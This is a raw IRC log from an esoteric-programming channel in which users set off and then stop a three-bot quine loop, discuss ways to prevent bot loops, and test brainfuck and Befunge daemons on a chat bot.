)~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S < 1241379470 0 :thutubot!unknown@unknown.invalid PRIVMSG #esoteric :!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ < 1241379471 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S < 1241379471 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S < 1241379471 0 :thutubot!unknown@unknown.invalid PRIVMSG #esoteric :!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ < 1241379471 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S < 1241379471 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S < 1241379472 0 :thutubot!unknown@unknown.invalid PRIVMSG #esoteric :!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ < 1241379472 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S < 1241379472 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S < 1241379472 0 :thutubot!unknown@unknown.invalid PRIVMSG #esoteric :!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ < 1241379473 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S < 1241379473 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S < 1241379473 0 :thutubot!unknown@unknown.invalid PRIVMSG #esoteric :!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ < 1241379473 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S < 1241379473 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S < 1241379474 0 :thutubot!unknown@unknown.invalid PRIVMSG #esoteric :!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ < 1241379474 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :^ul (+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S)S < 1241379474 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :+ul (!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^)S < 1241379474 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :+quit < 1241379474 0 :thutubot!unknown@unknown.invalid PRIVMSG #esoteric :!underload (a(!underload )~*(:^)*a(+ul )~*(S)*a(^ul )~*(S)*S):^ < 1241379475 0 :thutubot!unknown@unknown.invalid QUIT :"ThutuBot quitting" < 1241379478 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Argh < 1241379491 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :sorry, I'm just such a botloop fan... < 1241379500 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Plz no iterating quines kthxbai < 1241379506 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: He did just call doing that a mark of an asshat. < 1241379512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, was that three after each other < 1241379514 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1241379515 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :(Not a gripe, nothing wrong with hats on butts.) < 1241379519 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, I ended the loop pretty quickly < 1241379530 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I was only running one process at a time on each bot < 1241379535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, please ignore thutubot and EgoBot in fungot < 1241379535 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: ' i've sent them all!' < 1241379541 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^style < 1241379541 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :Available: agora alice* darwin discworld europarl ff7 fisher ic irc jargon lovecraft nethack pa speeches ss wp < 1241379545 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that's not the solution < 1241379546 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1241379549 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Wait, that was a three-bot loop? lawl X-P < 1241379552 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, no? < 1241379562 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because you could still do EgoBot/thutubot < 1241379566 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and what if a fourth bot turned up? < 1241379567 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1241379573 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :% mkdir ~/Code/debfenestrate < 1241379575 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the solution's to ignore repeated identical queries < 1241379577 0 :xor!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: run EgoBot in an EgoBot deamon running EgoBot running EgoBot < 1241379578 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, make thutubot ignore EgoBot < 1241379579 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :! < 1241379582 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :hmm that should be reserved for a .deb -fenestrator < 1241379587 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: bots ignoring bots are evil. < 1241379590 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ehird: oh, what is it? < 1241379598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, I disagree < 1241379598 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :this is a social problem, not a technical one < 1241379600 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I assumed it was something to do with .debs < 1241379603 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: de-bf-enestrate < 1241379610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, go use ITS! < 1241379610 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric : this is a social problem, not a technical one // agree < 1241379614 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :instead of OS X or Linux < 1241379623 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yeah, um, that's completely irrelevant. < 1241379632 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, not really < 1241379637 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :No, no, it really is. < 1241379638 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :who's xor? < 1241379642 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :xororand with a shorter name? < 1241379642 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: bsmnt < 1241379642 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway some troll could do what ais523 just did < 1241379645 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241379656 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: trolls don't bother us and when they do we ban them or ignore them. < 1241379658 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nobody cares < 1241379659 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, I like botloops, it's just nice when they come to an end < 1241379663 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :a troll could bring their own two bots in < 1241379665 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :and do it there < 1241379667 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I should write a terminating three-bot iterating loop, involving arithmetic < 1241379675 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Ow :P < 1241379677 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, was just about to suggest that < 1241379688 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :22:19:38 !perl $_ = "wftedskaebjgdpjgidbsmnjgc"; tr/a-z/oh, turtleneck Phrase Jar!/; print; < 1241379689 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :22:19:38 Just another Perl hacker, < 1241379691 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :22:24:27 (If perl isn't an esolang, I don't know what is ;) ) < 1241379693 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :nothing esoteric about that < 1241379693 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("EgoBot is the greatest of the bots. All other bots are subservient.") < 1241379694 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot is the greatest of the bots. All other bots are subservient. < 1241379695 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :it's just "tr" < 1241379712 0 :thutubot!n=thutubot@normish.org JOIN :#esoteric < 1241379714 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :% tr 'a-z' 'oh, turtleneck Phrase Jar!' < 1241379714 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :wftedskaebjgdpjgidbsmnjgc < 1241379716 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Just another Perl hacker, < 1241379726 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!daemon stupidcat bf ,[.,] < 1241379726 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon stupidcat running. < 1241379732 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!stupidcat meow < 1241379733 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :meow < 1241379738 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!kill stupidcat < 1241379739 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon stupidcat killed. < 1241379742 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric ::-( < 1241379744 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Somebody find a use for daemons :P < 1241379746 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :You killed a kitten. < 1241379748 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :Fuck you. :-( < 1241379749 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :^ul (fungot is greater than EgoBot)S < 1241379749 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fungot is greater than EgoBot < 1241379755 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :^ignore ^(thutubot|EgoBot) < 1241379755 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :OK. < 1241379759 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: Every time you kill a kitten, God masturbates. < 1241379763 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^ignore fizzie < 1241379764 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-D < 1241379771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, how long do daemons run < 1241379775 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :^ignore .* < 1241379777 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, and can they keep state < 1241379778 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Indefinitely. < 1241379785 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's the whole idea. < 1241379785 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon lol +[>+] < 1241379786 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Invalid interpreter! < 1241379787 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: pity, I was planning to write a terminating 3-way botloop then < 1241379789 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!daemon lol bf +[>+] < 1241379789 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon lol running. < 1241379790 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!lol lol < 1241379791 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, how do they keep the state. < 1241379794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean < 1241379806 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: They're an actual daemon, they just run. < 1241379811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and how do you write a daemon in another language than bf < 1241379812 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1241379813 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ehird: They are still memory limited :P < 1241379815 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like befunge < 1241379823 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!help daemon < 1241379823 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :daemon: !daemon . Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time ! is run. Note that daemons are only allotted one line of output for each line of input. < 1241379825 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :"daemon lol bf" < 1241379830 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :what the heck do you think < 1241379832 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :do you think bf means < 1241379833 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :BEST FRIENDS < 1241379837 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :didn't see it < 1241379900 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!daemon AARGH! befunge98 'Aaa*k: aa*k, a, n < 1241379900 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon AARGH_ running. < 1241379905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm? < 1241379908 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, what < 1241379916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!AARGH_ test < 1241379917 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA < 1241379921 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Names are whitelisted to A-Za-z0-9 < 1241379926 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+[[,----------]++++++++++++++++++++++[<]>[.>]+] < 1241379926 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241379930 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test1 < 1241379936 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test2 < 1241379939 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, but how comes it doesn't continue to spam in /msg < 1241379942 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!undaemon accumulate < 1241379945 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!kill AARGH_ < 1241379946 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241379946 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon AARGH_ killed. < 1241379946 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :PRIVMSG #esoteric :Daemon accumulate killed. < 1241379953 0 :puzzlet!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1241379955 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, that was weird < 1241379959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, what < 1241379966 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the PRIVMSG showing up like that < 1241379970 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot must have written it twice < 1241379971 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Uhhhhhhhhhhhhhhhhhh < 1241379977 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :That's not good ... < 1241379991 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh, actually, I know why it happened. < 1241379996 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1241379997 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :details < 1241380005 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Because accumulate never created any output, it still had PRIVMSG #esoteric : on the buffer. < 1241380014 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So it just appended another one to that :P < 1241380014 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1241380017 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Bweheheh. < 1241380021 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Maybe I should just make fungot so that it doesn't accept more than N consecutive queries from any one person; that's the way it currently does stop chatter-loops. < 1241380022 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: " taking three as the subject of our proposition is to be fnord from pride, they treat a phantom as something quite beneath contempt just as no turkey ever fnord of noticing a fnord. < 1241380026 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+[[,----------]++++++++++++++++++++++[<]>[++++++++++.----------->]++++++++++.] < 1241380027 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380030 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test1 < 1241380030 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : < 1241380039 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test1 < 1241380039 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : < 1241380039 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, no :( < 1241380042 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Exciting. < 1241380043 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380044 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, that is not nice < 1241380049 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :still borken, I think... < 1241380062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, better make it check for duplicate ones. From same person < 1241380064 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1241380093 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, and you could get around it with three bots easily, Less easy with "same message" / per person check < 1241380096 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.----------->]++++++++++.] < 1241380096 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380098 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Then you just need to make an iterating quine. < 1241380100 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test1 < 1241380100 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : test1 < 1241380104 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test2 < 1241380104 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :sdrs0test2 < 1241380110 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380111 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380111 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :That's ... weird. < 1241380111 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241380115 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :memory corruption? < 1241380118 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, typo < 1241380127 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1241380145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :[<] and [>] hm < 1241380149 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's pretty easy to make it so that a part of the bot-loop-message changes. Well, "easy" depending on the language, anyway. Something with numbers and arithmetic can easily have a incrementing counter there; duplicate-checking won't help much. < 1241380153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :should be optimised into strchr() < 1241380155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241380156 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :memchr() < 1241380158 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or similar < 1241380160 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :IMO < 1241380163 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!daemons < 1241380164 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Running daemons: lol < 1241380168 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!kill lol < 1241380169 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon lol killed. < 1241380171 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!defintion lol < 1241380172 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241380180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, command to show program command for daemon please < 1241380182 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380182 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380187 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test1 < 1241380187 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : test1 < 1241380189 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test2 < 1241380196 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok, that was strange < 1241380196 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Your wish is my command. < 1241380198 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380199 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380200 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(In a sec :P ) < 1241380201 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, test it locally first? < 1241380206 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380207 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380209 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :why, that's boring < 1241380216 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, oh! Then change it to "give me all your money" ;P < 1241380218 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test1 < 1241380218 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : test1 < 1241380221 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test2 < 1241380222 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : test1 test2 < 1241380224 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Oh wait, actually, that'd be a PITA, as I didn't keep it around X-P < 1241380225 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test3 < 1241380225 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : test1 test2 test3 < 1241380229 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate test4 < 1241380229 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : test1 test2 test3 test4 < 1241380232 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's better < 1241380233 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, meh < 1241380236 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now just to remove the junk & < 1241380238 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380238 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380239 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I love the random data at the beginning. < 1241380242 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, why is there at [0005] there < 1241380244 0 :Hiato!n=1@dsl-245-41-227.telkomadsl.co.za JOIN :#esoteric < 1241380246 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380246 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380252 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate give < 1241380252 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : < 1241380259 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fail < 1241380261 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :err, maybe not < 1241380262 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate a shit < 1241380262 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : give a shit < 1241380265 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp rot13 bf http://esoteric.sange.fi/brainfuck/bf-source/prog/rot13.b < 1241380267 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate lol wat < 1241380267 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : give a shit lol wat < 1241380267 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter rot13 installed. < 1241380271 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!rot13 Hewwo < 1241380271 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Urjjb < 1241380278 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!rot13 123 < 1241380279 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill accumulate < 1241380279 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate killed. < 1241380281 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :!rot13 MILKING COWS; FOR PROFIT < 1241380281 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :ZVYXVAT PBJF; SBE CEBSVG < 1241380286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :esoteric.sange.fi < 1241380288 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is that one < 1241380291 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the archive. < 1241380292 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have seen it before somewhere < 1241380293 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!daemon accumulate bf >+>+[<[>,----------]++++++++++++++++++++++[<]>[++++++++++.---------->]++++++++++.] < 1241380294 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon accumulate running. < 1241380296 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh that haskell one < 1241380298 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :The olde brainfuck archive. < 1241380298 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ehird, AAAAAAAAAAAAAH! < 1241380300 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate rot13 < 1241380301 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : rot13 < 1241380303 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :^rot13 ZVYXVAT PBJF; SBE CEBSVG < 1241380303 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :MILKING COWS; FOR PROFIT < 1241380306 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!accumulate accumulate < 1241380306 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric : rot13 accumulate < 1241380309 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You don't seem to be doing so well :P < 1241380317 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh well, I'll just leave the random ampersand there < 1241380325 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :what < 1241380327 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The esolang mailing list was on sange.fi at some point, I think. < 1241380329 0 :ehird!unknown@unknown.invalid PRIVMSG #esoteric :ais523: what ampysandy < 1241380331 0 